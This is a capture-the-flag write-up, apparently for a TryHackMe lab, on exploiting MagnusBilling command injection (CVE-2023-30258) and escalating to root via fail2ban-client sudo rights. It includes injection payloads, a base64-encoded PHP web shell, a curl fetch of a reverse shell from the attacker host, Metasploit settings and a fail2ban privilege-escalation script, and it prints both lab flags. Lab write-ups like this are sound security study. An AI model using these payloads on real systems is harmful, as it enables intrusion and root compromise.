Starting off with a Rustscan revealed that ports 22, 88, 3306, and 5038 were open

I headed to port 80 to see what I could find.  I was greeted with a login page.  I tried the normal few usernames and passwords with no luck.  I moved to SQL and other tricks, but no luck there.  I looked through the source code of the page, nothing too exciting, but I did have the name of the program running.  MagnusBilling.  After talking to my uncle Google, I found something that would help me.  Granted it was for version 7.3 of MagnusBilling and I was not sure which version I was using I held on to it and explored around a bit.  The exploit page.   

# Exploit Title: MagnusSolution magnusbilling 7.3.0 - Command Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/magnussolution/magnusbilling7
# Software Link: https://github.com/magnussolution/magnusbilling7
# Version: 7.3.0
# Tested on: Centos
# CVE : CVE-2023-30258
# PoC URL for Command Injection
http://magnusbilling/lib/icepay/icepay.php?democ=testfile; id > /tmp/injected.txt
Result: This PoC attempts to inject the id command.
[Replace Your Domain Name]

I started to run Gobuster on 10.10.18.208/mbilling to see if anything useful was to be found. That looks quite good, there is both a /lib folder and a /tmp folder.  From here, I wanted to see what was in the folders and then try the exploit.

I went to http://10.10.18.208/mbilling/tmp/ and was greeted with an empty folder.  No real surprise there.  Then I went to /lib and found /icepay. Moving into that directory, I noticed two things.  First, the icepay.php is there, making our exploit have even better odds, but there was also a file with no bytes named null. So my first thought was to try to see if we can inject code into the null file/rename it. 

So what I did was not the best way. Skip to here if you want to do it the most efficient way.

First was to inject this code into the file <?php if(isset($_REQUEST[‘cmd’])){system($_REQUEST[‘cmd’]);} ?> and change the name.  Basically it was a way of calling commands from curl.  Like id, whoami, etc.  You could get a shell like this was much more work.  But my thought was to use curl command to pull another shell from my computer and upload it to the shell.php then from there execute it with curl.  See below for the code I used.

curl -s 'http://10.10.123.88/mbilling/lib/icepay/icepay.php?democ=/dev/null;echo%20PD9waHAgaWYoaXNzZXQoJF9SRVFVRVNUWydjbWQnXSkpe3N5c3RlbSgkX1JFUVVFU1RbJ2NtZCddKTt9ID8+%7C%20base64%20-d%20%3E%20null;mv%20null%20shell.php;'
curl -s 'http://10.10.240.44/mbilling/lib/icepay/icepay.php?democ=/dev/null;curl%20http://10.13.46.58:80/revshell.php%20-o%20shell.php;'
curl -I http://10.10.140.84/mbilling/lib/icepay/shell.php

The shell I had on my local computer was named revshell.php, which I got from revshells.com. I use Pentest Monkey’s shell when I can.  Make sure to start your Python web server before you run the commands, and also your netcat listener.

Python3 -m http.server 80
nc -lvnp 4444

You should have a shell.  You will need to stabilize the shell.  If you are not sure how to do it click here

So the easy way to do this is just to use MetaSploit.  I did not find out until much later when I was trying to get the root flag.  I still prefer the other method though.

use exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258
set rhost Machines IP
set lhost tun0
set lport 5555
run

From there you will get a Meterpreter session. You can type shell to get a shell then you will need to stablize it.

You can move to the home directory and you will find the user magnus there you will find the user.txt file.  Even though it is owned my root you have permissions to read the file.

asterisk@Billing:/$ cd /home/magnus
asterisk@Billing:/home/magnus$ ls -la
total 76
drwxr-xr-x 15 magnus magnus 4096 Sep 9 2024 .
drwxr-xr-x 3 root root 4096 Mar 27 2024 ..
lrwxrwxrwx 1 root root 9 Mar 27 2024 .bash_history -> /dev/null
-rw------- 1 magnus magnus 220 Mar 27 2024 .bash_logout
-rw------- 1 magnus magnus 3526 Mar 27 2024 .bashrc
drwx------ 10 magnus magnus 4096 Sep 9 2024 .cache
drwx------ 11 magnus magnus 4096 Mar 27 2024 .config
drwx------ 3 magnus magnus 4096 Sep 9 2024 .gnupg
drwx------ 3 magnus magnus 4096 Mar 27 2024 .local
-rwx------ 1 magnus magnus 807 Mar 27 2024 .profile
drwx------ 2 magnus magnus 4096 Mar 27 2024 .ssh
drwx------ 2 magnus magnus 4096 Mar 27 2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27 2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27 2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27 2024 Music
drwx------ 2 magnus magnus 4096 Mar 27 2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27 2024 Public
drwx------ 2 magnus magnus 4096 Mar 27 2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27 2024 Videos
-rw-r--r-- 1 magnus magnus 38 Mar 27 2024 user.txt
asterisk@Billing:/home/magnus$ cat user.txt
THM{4a6831d5f124b25eefb1e92e0f0da4ca}

My next step was to upload linpeas.sh from my host to the remote host. Move to the temp directory

cd /tmp

Start your python server

python3 -m http.server 80

On the remote host type

wget http://YourIP:YourPort/Filename
chmod +x filename
./filename

At this time, I made the mistake of focusing on getting access to the Magnus user, thinking it was the path.  For me, it was not.  To be honest, I am not sure I took the correct path, but in the end, I did get the root.txt file, and this is how I did it. I found a script that helps read files with the fail2ban-client sudo.  Here is the website I found the script from but I did need to make some changes to the script to get it to work I included that script below

import os
import subprocess
import sys

def is_sudo_accessible():
    """Check if the user can run fail2ban-client with sudo."""
    try:
        result = subprocess.run(['sudo', '-n', 'fail2ban-client', 'status'],
                                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if result.returncode == 0:
            return True
        else:
            print("You do not have the necessary permissions to run fail2ban-client with sudo.")
            return False
    except FileNotFoundError:
        print("fail2ban-client is not installed on this system.")
        return False

def run_command(command):
    """Run a shell command."""
    try:
        result = subprocess.run(command, shell=True,
                                stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        if result.returncode != 0:
            print(f"Error running command: {command}")
            print(result.stderr.decode())
        else:
            print(result.stdout.decode())
    except Exception as e:
        print(f"An error occurred while running command: {command}\n{str(e)}")

def main():
    if not os.name == 'posix':
        print("This script is designed to run on a Linux machine.")
        sys.exit(1)

    if not is_sudo_accessible():
        sys.exit(1)

    flag_filename = input("Enter the flag file name (e.g., root.txt): ").strip()
    flag_file_path = f"/root/{flag_filename}"
    tmp_file_path = f"/tmp/{flag_filename}"

    print("Restarting fail2ban...")
    run_command("sudo /usr/bin/fail2ban-client restart")

    print(f"Copying flag to {tmp_file_path}, fixing permissions...")
    command = (
        f"sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "
        f"\"/bin/bash -c 'cat {flag_file_path} > {tmp_file_path} && "
        f"chmod 644 {tmp_file_path} && chown asterisk:asterisk {tmp_file_path}'\""
    )
    run_command(command)

    print("Banning IP 127.0.0.1 to trigger actionban...")
    run_command("sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1")

    print(f"The flag is now in {tmp_file_path} and should be readable by user 'asterisk'.")

if __name__ == "__main__":
    main()

On your remote host run nano and give it a name something like root.py then just run the script with python root.py and it will read the root.txt

THM{33ad5b530e71a172648f424ec23fae60}

Leave a Reply

Your email address will not be published. Required fields are marked *